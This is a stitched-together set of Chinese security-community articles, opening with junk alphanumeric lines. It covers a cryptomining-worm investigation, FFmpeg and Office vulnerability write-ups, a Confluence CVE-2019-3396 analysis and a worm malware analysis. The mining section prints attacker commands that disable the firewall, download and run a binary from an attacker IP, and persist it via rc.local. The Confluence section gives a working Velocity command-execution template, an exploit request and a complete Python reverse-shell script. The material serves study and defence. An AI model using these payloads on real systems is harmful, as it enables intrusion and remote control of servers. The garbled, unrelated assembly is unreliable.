45vKgdPY4M3Lp4RXWccWCBFP7HCtcp718GyGaNVmi58j9rdDX716yz5MKXT2EDjFixgPW8mjnaXvz2cBUpEqVCLKFH1z9Tx
45vKgdPY4M3Lp4RXWccWCBFP7HCtcp718GyGaNVmi58j9rdDX716yz5MKXT2EDjFixgPW8mjnaXvz2cBUpEqVCLKFH1z9Tx
41tPS2hg6nc6DWNXDiWG7ngGSnLAaw4zmBeM478r1tkZDGH1y8aFPDiDqAFN8LouyAXTxtrLVigmRgLXytezCMQf1FwzqEi
45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT
45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT
47xB4pdBngkhgTD1MdF9sidCa6QRXb4gv6qcGkV1TT4XD6LfZPo12CxeX8LCrqpVZm2eN3uAZ1zMQCcPnhWbLoPgNbK8y3Z
41tPS2hg6nc6DWNXDiWG7ngGSnLAaw4zmBeM478r1tkZDGH1y8aFPDiDqAFN8LouyAXTxtrLVigmRgLXytezCMQf1FwzqEi
### 五、免杀分析
#### 1、检测效果：
将挖矿样本在 VirusTotal 中检测发现，除了 Drweb
可以检出此样本，其余杀软均无法有效检测此样本。挖矿病毒5月出现，流行3月有余，VirusTotal 上依然只有1款杀软可以查杀。
下图是挖矿样本在 VirusTotal 中的检测结果：
#### 2、免杀流程：
基本所有杀软都无法查杀此病毒，此病毒通过 Go 语言 Loader 和子体加变形 UPX 壳进行免杀，对于 Linux 查杀较为薄弱的杀软，很容易漏报。
免杀示意图：
Loader 使用 Go 语言编写，大量的 Go 语言的库代码掩盖了真正的病毒代码部分，所以免杀效果较好。2155个 Go
语言库函数，真正的病毒代码包含在4个函数中。
### 六、溯源分析
对这批挖矿样本进行溯源分析发现，从今年5月开始，发起攻击的 IP一共有两个：160.124.67.66、123.249.34.103
另外，样本下载地址：181.215.242.240、123.249.9.141、123.249.34.103、58.221.72.157、160.124.48.150
SSH 暴力破解成功后执行的命令有（suSEfirewall 的关闭、iptables 的关闭、样本的下载）：
/etc/init.d/iptables stop;
service iptables stop;
SuSEfirewall2 stop;
reSuSEfirewall2 stop;cd /tmp;
wget -c http://181.215.242.240/armtyu;
chmod 777 armtyu;./armtyu;
echo "cd /tmp/">>/etc/rc.local;
echo "./armtyu&">>/etc/rc.local;echo "/etc/init.d/iptables stop
表格1 扫描 IP 和下载 IP 信息表
表格中 160.124.67.66 是扫描 IP，通过对 IP 信息的图谱聚类，发现香港的两台主机均为一个团伙控制的机器。
美国和贵州的机器是入侵得到的机器。
（团伙图聚类）
上面提到的扫描机器均为赌博网站的机器，曾经的域名 mmhongcan168、28zuche 等都是赌博网站。
#### 28zuche：
另一台香港机器的域名为 himitate.com，也是赌博网站。
两台香港主机均为 ip28.net，都可以作为门罗币(xmr)的挖矿代理主机。
#### 黑产江湖之黑吃黑：
有人的地方就有江湖，黑产作为互联网中的法外之地，弱肉强食也是这个不法之地的规则。有做大产业的黑产大佬，也有干一票就走的小团伙，黑吃黑几乎天天都在上演。
赌博网站和色情网站是黑吃黑中常常被吃的对象，经研究分析可知，众多赌博网站所在的服务器竟被用来做扫描，各赌博网站之间并没发现强关联性，做赌博的团伙同时做挖矿的跨界运营也不是很多，而且整个挖矿金额不高。挖矿团伙若是入侵了赌博网站，利用其作为病毒服务器传播挖矿病毒，这也不是不可能。
对于美国和贵州的两台下载机，根据 threatbook 的情报，这两台主机应该是肉鸡，如下图：
第二个扫描地址为：123.249.34.103
地理位置：
扫描地址 123.249.34.103的实际地址为中国贵州黔西南布依族苗族自治州，相关的情报如下：
相关网站解析过的地址为：
f6ae.com
www.f6ae.com
www.h88049.com
www.h88034.com
h88032.com
www.h88032.com
h88034.com
h88049.com
h5770.com
h88051.com
以上 URL 地址均为赌博网站：
其他的一些情报：
云鼎实验室威胁情报团队在网络上也观测到这些 IP 的扫描行为，很多日志都有记录。可以发现这个挖矿样本的扫描传播是一种无针对的、广撒网式的暴力破解传播模式。
日志地址1：
<ftp://egkw.com/Program%20Files/Apache%20Software%20Foundation/Tomcat%207.0/logs/localhost_access_log.2018-04-28.txt>
日志地址2： <http://217.31.192.50/data/proki2018-05-13.txt>
### 七、总结
通过观测发现扫描主机均属于赌博网站，赌博等黑产现在开始向挖矿业务进军了吗？
防御方法：
（1）修改 SSH 口令，要定期更换 SSH 口令，并保证一定的复杂度。
（2）安装腾讯云云镜，提前发现可疑木马及暴力破解行为。
（3）对于外部 SSH 连接的 IP 进行黑白名单限制。
相关样本hash：
48f82a24cf1e99c65100c2761f65265c
723bd57431aa759d68cecb83fc8a7df8
a357b1b00e62cab7dc8953522f956009
470e7cdac0360ac93250f70a892a8d03
788eaec718569c69b21ff3daef723a8f
bf34509ae03b6f874f6f0bf332251470
580cb306c4e4b25723696cb0a3873db4
826f3e5ee3addfbf6feadfe5deadbe5e
dd68a5a3bf9fbb099c9c29e73dbab782
相关中间文件sha256：
8797e998c01d2d6bb119beb2bbae3c2f84b6ae70c55edd108ed0e340972cf642
f8e1957e8bfd7f281a76d1e42694049c67f39dea90ac36e9d589c14cdf8924bc
f54b1e99039037f424e7e2ada7ae0740b6d1da229688a81e95fd6159f16fbbc1
ca60d04204aa3195e8cd72887c7deced1a7c664e538256f138b5698d381ceb00
e8b70f11c412a75ccfb48771029679db72c27bd61c41c72e65be5464415df95f
08fd38e2891942dadd936d71b7e98055ba48c58bc986d5c58f961055bcc378fc
08a31726ae65f630ce83b9a0a44108ff591809b14db5b7c0d0be2d0829211af5
1ac7ba4ba4b4a8c57b16cf4fac6ea29e41c0361c3260bf527278525b4bec5601
396a2174d2f09e8571e0f513a8082ccdd824e988b83393217274e64fe0dafd69
b238c09c3fdbda62df39039ed49d60d42d32312eedadfc2c6ced4d65d27b1ddb
99802523c466ea9273de893be5c12c7c654dfd4deb5a896b55718e69b721e548
786f4d124ef75e9f45d650fbd859d591a03ca71e2625f50d3078503f76edfd34
1dfb2cd3c94c624691534446ece255c49ed3ba02f45128c19e5a853dcf6f6ab8
472ba9ddbef409975284e4428071d5b8eb576f2b27ad19ca2fad7094aeebd281
1fa25061004ea01311b2d27feda124b4262b5611f91882c2d9895f0a53016051
58ad0006fe9fd093c7af6f0065a93209f21074d6694f0351f25ece1b78b7a978
fbb1396e37adcab88a0e21f9e0366c8da9a199652906fa194caccef8f70844c3
f8ccdcc45c6cbd4cc1c8f56a320106cfc9c42ad94b499d5ca6ec280b1077bf41
ffb9568a7b5da78389d20daba65e2e693e8c9828c874ad8771dcd5bb5c8a1e57
f5aed11216ee356a4896ad22f375e2b62b7ca22e83737f24ec0e5cdaa400b051
**腾讯安全云鼎实验室**
关注云主机与云内流量的安全研究和安全运营。利用机器学习与大数据技术实时监控并分析各类风险信息，帮助客户抵御高级可持续攻击；联合腾讯所有安全实验室进行安全漏洞的研究，确保云计算平台整体的安全性。相关能力通过腾讯云开放出来，为用户提供黑客入侵检测和漏洞风险预警等服务，帮助企业解决服务器安全问题。
* * * | 社区文章 |
# 【技术分析】FFmpeg任意文件读取漏洞分析
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
360
Vulpecker团队隶属360信息安全部，致力于Android应用和系统层漏洞挖掘。我们在拿到样本后第一时间对样本进行了跟踪分析，并紧急排查了内部产品，已经推动产品进行修复。
**漏洞分析**
漏洞最初是由neex提交到HackerOne平台，并最终获得了1000$的奖励，原文链接为
<https://hackerone.com/reports/226756>
。根据作者所述，该漏洞利用了FFmpeg可以处理HLS播放列表的特性，而播放列表可以引用外部文件。通过在AVI文件中添加自定义的包含本地文件引用的HLS播放列表，可以触发该漏洞并在该文件播放过程中显示本地文件的内容。
随后，Corben Douglas根据neex的报告，实现了该漏洞POC利用。整个复现过程如下所示：
笔者随后对生成的avi文件进行分析发现，在HLS的播放列表中，该文件通过#EXT-X-BYTERANGE控制文件的偏移地址，并在随后的空行中指定文件的URI地址。通过不断递增文件的偏移地址，该文件可以实现对本地文件的遍历显示播放。
通过将该AVI视频文件上传到各大视频网站中，即可在该视频播放时显示服务器端本地的隐私数据，造成本地敏感数据的泄露。同时，M3U播放列表中的URI可以改为http协议，造成SSRF攻击。
当前，该漏洞仅是在上传服务器中实现漏洞利用的。笔者在移动端实现了该漏洞利用，并可成功显示了设备中的文件内容。
不同于PC端的情况，在Android和iOS系统中均有沙箱机制的存在，极大的限制了该漏洞的危害程度。对于Android，该漏洞仅能读取沙箱目录下的文件内容和SD卡上的内容。
由于FFmpeg是开源的且跨平台，该漏洞影响范围还是挺大的。经测试，移动端还有许多使用了FFmpeg的产品受该漏洞的影响。目前，官方已经发布了patch补丁，通过过滤文件后缀名来阻止该漏洞的产生。
**漏洞补丁**
[](https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/189ff4219644532bdfa7bab28dfedaee4d6d4021?hp=c0702ab8301844c1eb11dedb78a0bce79693dec7)[](https://git.ffmpeg.org/gitweb/ffmpeg.git/patch/189ff4219644532bdfa7bab28dfedaee4d6d4021?hp=c0702ab8301844c1eb11dedb78a0bce79693dec7)
[https://git.ffmpeg.org/gitweb/ffmpeg.git/patch/189ff4219644532bdfa7bab28dfedaee4d6d4021?hp=c0702ab8301844c1eb11dedb78a0bce79693dec7](https://git.ffmpeg.org/gitweb/ffmpeg.git/patch/189ff4219644532bdfa7bab28dfedaee4d6d4021?hp=c0702ab8301844c1eb11dedb78a0bce79693dec7)
**参考地址**
<https://hackerone.com/reports/226756>
<https://hackerone.com/reports/242831>
<https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py> | 社区文章 |
**作者：lucifaer
博客：<https://www.lucifaer.com/>**
这个漏洞本来是上周一就分析完了，但是高版本无法造成rce这个问题着实困扰了我很久，在得出了一定的结论后才写完了这篇文章。总体来说，这个漏洞真的是值得好好跟一下，好好研究一下的，能学到很多东西。
### 0x01 漏洞概述
> There was an server-side template injection vulnerability in Confluence
> Server and Data Center, in the Widget Connector. An attacker is able to
> exploit this issue to achieve server-side template injection, path traversal
> and remote code execution on systems that run a vulnerable version of
> Confluence Server or Data Center.
根据官方文档的描述，可以看到这是由`Widget
Connector`这个插件造成的SSTI，利用SSTI而造成的RCE。在经过diff后，可以确定触发漏洞的关键点在于对post包中的`_template`字段：
可以看到修补措施还是很暴力的。
所以我们可以从`com.atlassian.confluence.extra.widgetconnector`来入手分析。
### 0x02 概述
分析这个漏洞应该从两个方面入手：
* `Widget Connector`插件
* tomcat类加载机制
**Widget
Connector插件这个方面主要是由于其可以未授权访问，同时允许传入一个外部资源链接。而tomcat的类加载机制决定了这个可控的外部资源链接的内容是可被加载的，最终，被加载的资源被注入到默认模版中，并执行VTL表达式。**
所以这个漏洞在真正利用的时候是取决于两个因素的，缺一不可。
在真正分析的时候真正的难点不是diff找出漏洞点，而是在于
**漏洞在存在漏洞的6.6-6.9版本是可以利用file、https等协议加载外部资源的，而在6.14.1这个存在漏洞的版本是没有办法加载外部资源的。**
而这一点也是我和[BadCode](https://paper.seebug.org/884/)老哥交流了将近2-3天一直没有跟到的点，最终在我对比了两个版本的区别时，才推测出这个问题是由tomcat本身导致。
下面的漏洞分析基于confluence 6.6.11版本。
### 0x03 漏洞分析
#### 3.1 Widget Connector
从diff的点入手，首先看`com.atlassian.confluence.extra.widgetconnector#execute`：
这里有几个值得注意的点：
* 获取到的是一个`Map`类型的`parameters`
* `parameters`中存在`url`这个字段流程就会进入`this.renderManager.getEmbeddedHtml`(也就是`DefaultRenderManager.getEmbeddedHtml`)
这里的`parameters`就是我们在向`widgetconnector`插件发送post请求时包中的`params`字段的内容。（如果不清楚如何构造post请求包的话，可以参考[widget文章](https://confluence.atlassian.com/confcloud/widget-connector-macro-724765314.html)，然后抓一个包看一下就好）
跟进`getEmbeddedHtml`看一下：
可以看到这里的`var3`是一个`WidgetRenderer`的List，我们来看一下这个List中有什么内容：
可以看到是所有`WidgetRenderer`的具体实现，在各个实现当中都实现了`matches`方法，而这个方法是检查`url`字段中是否存在其所对应的url，这里拿`ViddlerRenderer`来举例子：
也就是说在构造请求的时候需要存在相应的字段才能进入相应的实现类处理不同的请求。
在看各个具体实现时，会发现大部分的实现都会将一个固定的`_template`字段置于`params`中，比如`FlickrRenderer`：
但是也有一些实现类并没有这样做，比如`GoogleVideoRenderer`：
从补丁中我们可以看到，漏洞触发的关键点是要求`_template`字段可控，所以满足这一条件的只有这么几个：
* `GoogleVideoRenderer`
* `EpisodicRenderer`
* `TwitterRenderer`
* `MetacafeRenderer`
* `SlideShareRenderer`
* `BlipRenderer`
* `DailyMotionRenderer`
* `ViddlerRenderer`
可以看到满足条件的实现类最终都是进入`this.velocityRenderService.render`来处理的，跟进看一下：
该方法对`width`、`height`、`_template`进行了校验及初始化过程，最关键的是将处理后的数据传入`getRenderedTemplate`，这里很好跟一路向下跟进到`org.apache.velocity.runtime.RuntimeInstance#getTemplate`：
这里注意这个`i`参数为1，后面会有用到。继续向下跟进`org.apache.velocity.runtime.RuntimeInstance.ConfigurableResourceManager#getResource`:
如果是首次处理请求的话，是无法从全局的缓存中找到资源的，所以这里可以跟进else中的处理来具体看一下具体处理的：
这里会遍历`this.resourceLoaders`里面的资源加载器，然后利用可控的资源名以及`resourceType`为1的参数去初始化一个`Resource`类。我们看一下这里的`Resource`类的实例化过程，这里我下了个断看了一下调用的是那个`ResourceFactory`：
注意到是`ConfluenceResourceFactory`，这里跟进看一下：
也就是说`Resource`的具体初始化过程为：
`ConfluenceVelocityTemplateImpl`是`Template`类的一个子类，也就是说之后的过程就是加载模版，解析模版的过程。所以我们来看一下这里的`resourceLoaders`中的资源加载器是什么：
* com.atlassian.confluence.setup.velocity.HibernateResourceLoader
* org.apache.velocity.runtime.resource.loader.FileResourceLoader
* org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader
* com.atlassian.confluence.setup.velocity.DynamicPluginResourceLoader
在以上四个资源加载器中，`HibernateResourceLoader`是ORM资源加载器，`DynamicPluginResourceLoader`是动态插件资源加载器，这两个和我们的利用都没有什么具体的关系，而`FileResourceLoader`可以读取文件，`ClasspathResourceLoader`可以加载文件。RCE的点也在于`ClasspathResourceLoader`中。
具体跟一下`ClasspathResourceLoader#getResourceStream`：
这里在`ClassUtils#getResourceAsStream`中的处理过程非常有意思，有意思的点在于这里完成了两个操作（以下分析为个人理解，如果有问题希望各位斧正）：
* osgi对于类加载的跟踪与检查
* tomcat基于双亲委派模型的类加载架构
当Java虚拟机要加载一个类时，会进行如下的步骤：
* 首先当前线程的类加载器去加载线程中的第一个类（假设为类A）注：（当前线程的类加载器可以通过Thread类的getContextClassLoader()获得，也可以通过setContextClassLoader()自己设置类加载器）
* 如果类A中引用了类B，Java虚拟机将使用加载类A的类加载器去加载类B
* 还可以直接调用ClassLoader.loadClass()方法来指定某个类加载器去加载某个类
而在进行第一步时首先会尝试用`BundleDelegatingClassLoader`来进行类加载：
这里的`BundleDelegatingClassLoader`是osgi自己的类加载器，主要用于进行类加载的跟踪，这里主要用于在osgi中寻找相关的依赖类，如果找不到的话，再以tomcat实现的双亲委派模型从上至下进行加载。
#### 3.2 Tomcat类加载
ok，这里比较麻烦的一个问题已经解决，我们所知这里所用的`classLoader`最终为`ClasspathResourceLoader`，而`ClasspathResourceLoader`是继承于`ResourceLoader`的，那么`ResourceLoader`的上层是什么呢，这个时候就要看tomcat的类加载架构了：
`WebappClassLoader`加载`WEB-INF/*`中的类库，所以这里是转交到`WebappClassLoader`来进行处理的，在动态调试过程中我们也可以清晰的看到这个过程：
这里要注意两点：
* `ClasspathResourceLoader`上层为`WebappClassLoader`
* javase的类加载器为`ExtClassLoader`且ucp为`URLClassPath`
在`WebappClassLoader`中其具体操作是转交由父类`WebappClassLoaderBase`来进行处理的，这里只截关键的处理点：
我们可以看到这里是根据`name`也就是我们传入的`_template`来实例化一个URL类的`url`，我们来跟一下看看这个`url`的实例化流程：
这里调用了`super.findResource`来进行处理，跟进看一下：
这里调用了`java.net.URLClassLoader#findResource`在URL搜索路径中查找指定名称的资源，可以看到这里会执行`upc.findResource`，即`URLClassPath.findResource`。这里会在URL搜索路径中查找具有指定名称的资源，如果找到相应的资源，则调用`check`方法进行权限检查，并加载相应的资源：
这里有两种形式加载资源分别是通过读文件（file协议），或者通过相应的协议去访问相应的jar包（jar协议）。
回过头来继续跟`URLClassPath.findResource`的处理过程：
这里非常好理解，首先通过传入的var1字段在已加载的ClassLoader缓存中进行查找，如果找到相应的加载器，则返回这个加载器的数组，若没找到则返回null：
之后遍历这个加载器数组，调用每个加载器的`findResource`方法，通过var1字段寻找相应的资源。在这里可以看到加载器数组中只存在一个加载器`URLClassPath$Loader`，我们跟进看一下这个加载器的实现：
可以明显看到向`this.base`发送了请求，获取了一个资源，我们看一下这个`this.base`是什么：
可以看到这里是向`felix.extensions.ExtensionManager`发送了请求，felix是一个osgi框架，也就是说我们现在需要跟进到osgi中，我们来看一下处理这个osgi请求的是什么：
我们跟进`org.apache.felix.framework.URLHandlerStreamHandlerProxy#openConnection`中看一下：
可以看到致此完成了请求的发送。以上我们就完成整条rce利用链的分析。
#### 3.3 6.6.x-6.9.x与6.14.1的区别
当我们分析完rce的流程并成功弹出计算器后，整个漏洞就已经分析完了么？并没有。
以上的分析都是在confluence 6.6.11版本上进行的，但不幸的是我最初分析的版本是confluence
6.14.1版本，利用`file`协议任意读文件的poc我并没有执行成功，我只能利用相对路径来读取当前目录的文件，这不禁激发了我的探索欲，我想知道为啥较高版本就没有办法rce了。
在我进行调试后，我发现了`ClasspathResourceLoader`在向上找父类时获得的父类并不是`WebappClassLoader`而是`ParalleWebappClassLoader`，导致最终在`URLClassPath#findResource`时，其并未调用`URLClassPath$Loader`的`findResource`，而是调用的`URLClassPath$JarLoader`的`findResource`：
这里返回的肯定是null，并不会向外发送请求并获取资源。可以说这个问题的关键点就在于`WebappClassLoader`与`ParalleWebappClassLoader`中的upc的类型不同，那为什么会在代码相同的情况下，会造成加载偏差呢？
**关键点在于6.14.1是使用的tomcat9，而6.6.x-6.9.x使用的是tomcat8。不同tomcat版本的区别在于其默认的loader是不同的：**
在tomcat9中默认的loader是`ParalleWebappClassLoader`，在tomcat8中则是`WebappClassLoader`，关于其upc为什么不同，这一点我推荐各位看一下[这篇文章](https://www.jianshu.com/p/69c4526b843d)。
### 0x04 构造POC
这里其实改一下poc就好，正常的写Velocity的语法就好，下面执行命令的poc引用<https://github.com/jas502n/CVE-2019-3396>:
#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end
反弹shell的:
> 请求
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 10.10.20.181
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Referer: http://10.10.20.181/
Content-Length: 232
X-Forwarded-For: 127.0.0.2
Connection: keep-alive
{"contentId":"1","macro":{"name":"widget","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"ftp://10.10.20.166:8888/r.vm","command":"setsid python /tmp/nc.py 10.10.20.166 8989"},"body":""}}
> nc.py
# -*- coding:utf-8 -*- #!/usr/bin/env python
"""
back connect py version,only linux have pty module
code by google security team
"""
import sys,os,socket,pty
shell = "/bin/sh"
def usage(name):
print 'python reverse connector'
print 'usage: %s <ip_addr> <port>' % name
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit()
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((sys.argv[1],int(sys.argv[2])))
print 'connect ok'
except:
print 'connect faild'
sys.exit()
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
os.unsetenv("HISTSIZE")
os.unsetenv("HISTORY")
os.unsetenv("HISTSAVE")
os.unsetenv("HISTZONE")
os.unsetenv("HISTLOG")
os.unsetenv("HISTCMD")
os.putenv("HISTFILE",'/dev/null')
os.putenv("HISTSIZE",'0')
os.putenv("HISTFILESIZE",'0')
pty.spawn(shell)
s.close()
if __name__ == '__main__':
main()
效果：
### 0x05 Reference
* <https://confluence.atlassian.com/confcloud/widget-connector-macro-724765314.html>
* <https://github.com/jas502n/CVE-2019-3396>
* <https://paper.seebug.org/884/>
* <https://www.jianshu.com/p/69c4526b843d>
* <https://tomcat.apache.org/tomcat-9.0-doc/config/loader.html>
* <https://tomcat.apache.org/tomcat-8.0-doc/config/loader.html>
* * * | 社区文章 |
2018年12月，我们收到了来自Andrea Micalizzi关于Microsoft
Office漏洞的报告，他是我们的漏洞发现者常客。该补丁已于今年四月修补为CVE-2019-0801，此稿将此漏洞完整的分享给读者。
关于Microsoft
Office的一个不常引起注意的地方是，在安装时，它会注册各种URI方案的处理程序。通常，这些URI方案可用于从浏览器启动Office应用程序。
ms-word:ofe|u|<argument>
ms-excel:ofe|u|<argument>
ms-powerpoint:ofe|u|<argument>
命令of指示浏览器打开Office文档进行编辑。还有一个命令v，意思是“打开文档进行查看”，它的工作方式相同。
在任何一种情况下，`<arguments>`是一个引用要打开的Office文档的URI。
通常，这是从Web服务器获取文档的`http:`或`https:URI`。
例如，导航到以下URI将打开从example.com检索的Word文档：
`msword:ofe|u|http://example.com/SomePath/SomeDoc.docx`
从Web浏览器导航时，浏览器将首先警告打开了外部程序。 例如，在Internet Explorer上，警告如下所示：
如果用户允许操作继续进行，则Microsoft Word将启动。 Microsoft
Word将从指定的网站检索文档，将其以随机名称保存在名为`%LOCALAPPDATA%\Temp\OICE_16_974FA576_32C1D314_xxxx\\`
的临时文件夹中的文件中，其中xxxx是四个随机十六进制数字，然后继续打开文档进行编辑。
使我们感兴趣的是发生了一些其他文件活动。除了如上所述保存文档的临时副本外，Office应用程序还将通过创建两个链接文件来将文档记录为用户最近打开的文档之一，如下所示。
由于文档的原件是Internet位置，因此在这种情况下，Office将创建Internet快捷方式（.url）文件：
[InternetShortcut]
URL= http://example.com/SomePath/SomeDoc.docx
Contents of C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx.url
[InternetShortcut]
URL= http://example.com/SomePath/
Contents of C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomePath on example.com.url
如我们所见，这些文件中的第一个是到Internet上文档位置的快捷方式，第二个是到该位置的路径的快捷方式。 每个.url文件都有一个描述性名称。
例如，上面显示的第一个文件名为SomeDoc.docx.url。
当原始URL包含文件名后的查询字符串时，就会出现问题。 在这种情况下，当Microsoft
Office为指向该文档的.url文件建立名称时，它将尝试将整个查询字符串合并到快捷方式文件名中。 例如，如果用户导航到该URI：
`ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm`
然后Office将尝试创建文件`C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx?hmm.url.`。
这会发生错误，因为Windows不允许出现文件名中的字符。
嗯，但是如果我们在查询字符串中放入一些目录遍历字符，该怎么办：
`ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?hmm/../blah`
在这种情况下，Microsoft
Office组装的路径为`C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\SomeDoc.docx?hmm\..\blah.url`。
这样会成功执行，因为遍历目录会取消无效的路径元素`SomeDoc.docx?hmm`。
创建的最终文件将是`C:\Users\<username>\AppData\Roaming\Microsoft\Office\Recent\blah.url`。
现在可以进行目录遍历了，此时我们有了将文件放置在错误位置的附加功能。而此时造成严重危害的地方是`C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup`，因为每次用户登录时，该文件夹中保存的所有内容都会自动启动。
到达该位置，我们只需要提供两级目录遍历即可到达`C:\Users\<username>\AppData\Roaming\Microsoft`目录，然后提供路径的其余部分：
`ms-word:ofe|u|http://example.com/SomePath/SomeDoc.docx?\..\..\..\Windows\Start
Menu\Programs\Startup\w00t`
此时将创建文件`C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\w00t.url`。
然后，该快捷方式文件将在用户每次登录时启动。然而攻击者甚至不需要获取受害者的Windows用户名即可构建此路径。
相反，攻击者可以搭载Office提供的基本路径，该路径通常已经包含必需的根·`C:\Users\<username>\`
### 漏洞危害
此漏洞的最终影响尚不清楚。 从表面上看，影响似乎很小。
在用户的“启动”文件夹中创建的.url文件将在每次后续登录时启动，但该.url文件仅指向最初加载的原始Office文档。
不过，我仔细检查了一下情况，发现即使每次登录时请求的URI都将与用于检索原始文档的URI相同，但这并不意味着攻击者的服务器提供的内容必须相同 。
实际上，这里丝毫没有限制攻击者的服务器响应Office文档的问题。
即使URL中的“扩展名”可能显示为docx，服务器仍然可以自由地以攻击者希望的任何Content-type进行响应。
例如，攻击者可以使用HTML文档进行响应：
每次用户登录时，都会呈现HTML文档及其包含的脚本。此功能最直接的应用是用于广告软件和恐吓软件。
但是，也许更隐蔽地是，攻击者获得了在受害者每次登录时实时得到通知的功能。为了避免引起怀疑，可以使用重定向到诸如`about:blank`之类的页面。
### 结论
Microsoft在4月发行的版本中修复了该错误，当时，他们给予了它最高的漏洞指数等级。无论是经验丰富还是经验不足的攻击者，都可能使用这种性质的漏洞。
本文为翻译文章，来自：https://www.zerodayinitiative.com/blog/2019/9/24/cve-2019-0801-microsoft-office-uri-hyperlink-hijinks | 社区文章 |
# 样本概况
## 样本基本信息
> MD5： 304bbe0e401d84edf63b68588335ceb6
> SHA-1： 8389fb0466449755c9c33716ef6f9c3e0f4e19c8
> SHA-256： 1f3e836b4677a6df2c2d34d3c6413df2c5e448b5bc1d5702f2a96a7f6ca0d7fb
> File size： 52.50 KB (53760 bytes)
## 测试环境及工具
> 测试环境：Windows 7
>
> 测试工具：PEID、StudyPE、IDA Pro、x32dbg、火绒剑
## 沙箱检测
从上面的沙箱检测结果，初步可以得到的信息：
该病毒启动具有隐藏界面的cmd窗口，将自身拷贝到其他目录，修改网络代理设置，连接了三个域名等操作。
# 样本分析
## 主要流程概述
第一次运行样本后会创建系统服务、添加注册表的键值，根据系统时间随机生成一个名字的文件，将母体拷贝到该文件并释放到C:/Windows路径下，给新生成的子文件icykmk.exe添加服务的自启动项，结束母体并删除。
之后运行icykmk.exe，首先加载hra33.dll然后创建4个线程。
加载的hra33.dll首先遍历文件，判断是否存在.exe，如果存在，就继续递归寻找下一个；否则，就在同路径下创建lpk.dll；然后判断是否存在.rar或者.zip，如果存在，就继续递归寻找下一个，如果不存在就往压缩包添加lpk.dll。
线程1：通过弱口令感染局域网内的共享文件夹，将病毒释放到共享文件夹中。
线程2：连接到控制端sbcq.f3322.org，获取当前系统信息（CPU型号，系统版本，上线时间，内存信息等）发送给病毒作者，然后就循环等待病毒作者的指令接收，判断info的类型，做出相应的操作。
线程3：连接控制端www.520123.xyz。具体功能同线程2。
线程4：连接控制端www.520520520.org:9426。具体功能同线程2。
流程图如下：
## 样本动作捕捉
运行样本，火绒剑捕捉样本行为动作：
设置注册表项：
创建进程操作：
文件增删查改操作：
网络收包发包操作：
下面是随机生成名字的子程序进程和har33.dll：
## 具体行为分析
查壳
首先，查壳，病毒upx加壳，手动esp定律或者upx -d脱壳后PEID看到病毒是由Microsoft Visual C++ 6.0编写。
studyPE查看导入表：
### 初次运行初始化服务
IDA Pro7.5载入样本文件，进入WinMain函数：
WinMain函数中是网络相关的函数,判断服务及注册表是否存在，并且母体病毒开始初始化。
sub_405A52()函数内部就是判断键值是否存在。就是判断是否创建了一个名为”Ghijkl Nopqrstu
Wxy“的服务，如果创建了，就返回1，执行if当中的操作；如果没有创建，那么执行else当中的操作，创建服务。简言之，就是判断样本是否第一次运行。
下面分析else当中的sub_405B6E()：
#### sub_405B6E()
1、在ADVAPI32.dll中加载函数，遍历文件。
2、根据时间随机生成数作为文件名进行拼接，然后拷贝到C:\Windows\目录下。
3、创建服务。
4、添加注册表项。
#### sub_40355B()
然后分析下面的sub_40355B()：
上面的伪代码可以看到：母体通过字符串拼接执行cmd命令删除自身，设置高优先级。
以上代码，程序第一次运行，将自己拷贝到指定系统目录，创建服务，启动服务，删除自身。
若服务已被创建，则通过判断，第二次打开程序则直接打开服务。调用sub_40561A()。
### 再次运行sub_40561A()主函数
会先判断键值是否存在，如果存在的话就开启服务，进入服务回调继续分析。
sub_40561A()主函数内容如下：
作为新程序的主程序，之前先做了服务初始化操作，主要分析下面的函数。
#### 回调函数EnumFunc：
#### sub_4053A6()
sub_4053A6()函数主要作用的就是加载dll。
在sub_4053A6()函数中，检查注册表，打开hra33.dll，拷贝2个资源到hra33.dll。大致如下：
释放资源：
sub_4034E5()函数加载hra33.dll，该dll具有dll劫持功能。
下面分析一下创建的四个线程当中的具体操作。
#### 线程1：
初始化一堆字符串，根据下面获取主机名以及网络连接的函数，IPC内置的一些弱口令。
弱口令攻击：
线程1的作用就是：通过弱口令感染局域网其他主机， 如果连接成功通过，通过共享目录将病毒传播出去， 利用 at 定时执行启动任务， 通过
admin$共享传播病毒。
